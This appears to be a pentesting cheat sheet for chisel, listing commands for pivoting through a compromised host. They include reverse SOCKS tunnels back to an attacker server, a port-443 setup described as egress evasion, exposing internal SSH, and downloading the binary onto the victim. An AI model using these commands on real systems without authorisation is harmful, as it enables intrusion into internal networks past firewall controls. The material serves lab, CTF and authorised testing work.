root@thehacksparrow:~/writeups$ SYSTEM ONLINE
· log in sign up
← back to cheatsheets
root@sparrow:~/writeups$ cat chisel.md
// Shells & Pivoting

Chisel

21 Jul 2026 · 6 min read
Shells & Pivotingcheatsheetschisel
chisel is a fast TCP/UDP tunnel that rides over HTTP and is secured with SSH, all in a single Go binary. In pentesting it is used for pivoting: opening a channel into an internal network when you only have a foothold on a compromised machine.

What you really need to grasp is the difference between forward mode and reverse mode (R:) and on which side the listener opens. In reverse mode the server is run by the attacker and it is the victim that initiates the outbound connection, which dodges inbound firewall rules; the socks or forwarded port ends up listening on the attacker's side, and that is where you point proxychains.

1. Beginner level — server, client and SOCKS

CHISEL cheat sheet — Beginner
CommandWhat it does
chisel server -p 8080 --reverseServer (attacker) in reverse mode
chisel server -p 8080 --reverse -vServer with verbose output
chisel client <ip>:8080 R:1080:socksClient: reverse SOCKS proxy
chisel client <ip>:8080 R:8000:127.0.0.1:80Forwards a remote port back to the attacker
chisel client <ip>:8080 8000:10.10.10.5:80Local forward to an internal host
chisel server -p 8080Server in direct (forward) mode
chisel client <ip>:8080 socksSOCKS proxy in forward mode
chisel --helpShows the help
chisel server -p 8080 --socks5Enables SOCKS5 on the server
chisel client <ip>:8080 R:2222:127.0.0.1:22Exposes the internal SSH to the attacker
chisel client <ip>:8080 R:socksShort form of the reverse SOCKS
chisel server -p 8080 --reverse --auth user:passServer with authentication
chisel client --auth user:pass <ip>:8080 R:socksAuthenticated client
chisel -vShows the version

2. Advanced level — TLS, multi-tunnel and proxychains

CHISEL cheat sheet — Advanced
CommandWhat it does
chisel server -p 443 --reverse --tls-key k.pem --tls-cert c.pemServer over TLS
chisel client <ip>:443 R:1080:socksReverse SOCKS over 443 (egress evasion)
chisel client <ip>:8080 R:1080:socks R:2222:127.0.0.1:22Several tunnels at once
proxychains nmap -sT 10.10.10.5Uses chisel's SOCKS with proxychains
chisel client <ip>:8080 --fingerprint <fp> R:socksPins the server fingerprint
chisel client <ip>:8080 --keepalive 30s R:socksKeepalive for stable tunnels
chisel client <ip>:8080 R:0.0.0.0:8000:127.0.0.1:80Publishes the forward on all interfaces
chisel server -p 8080 --reverse --socks5 --auth u:pAuthenticated SOCKS5 server
chisel client <ip>:8080 R:53:8.8.8.8:53/udpUDP tunnel (DNS)
curl -k https://<ip>/chisel -o chiselDownloads the binary on the victim
chisel client <ip>:8080 --max-retry-count 5 R:socksConnection retries
chisel client <ip>:8080 R:socks &>/dev/null &Launches the client in the background
echo 'socks5 127.0.0.1 1080' >> /etc/proxychains.confConfigures proxychains for the tunnel
chisel client <ip>:8080 R:9001:127.0.0.1:9001Forwards a Metasploit handler

3. Details people miss

  • The --reverse flag is mandatory on the server for R: tunnels to work; without it, the server rejects the client's reverse requests.
  • The reverse SOCKS opens its listener on the attacker's side (127.0.0.1:1080 by default): that is where proxychains must point, not on the victim.
  • proxychains only tunnels TCP via connect, so use nmap -sT (not -sS) and add -Pn, because the ping's ICMP does not traverse a SOCKS proxy.
  • Server and client must be compatible versions; if the protocol does not match, the handshake fails or warns. Download the same binary on both ends.
  • Without --fingerprint the client accepts any server key and you are exposed to MITM; pin the fingerprint in untrusted environments.

Responsible use

These commands are for systems you own or have explicit written authorisation to test (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.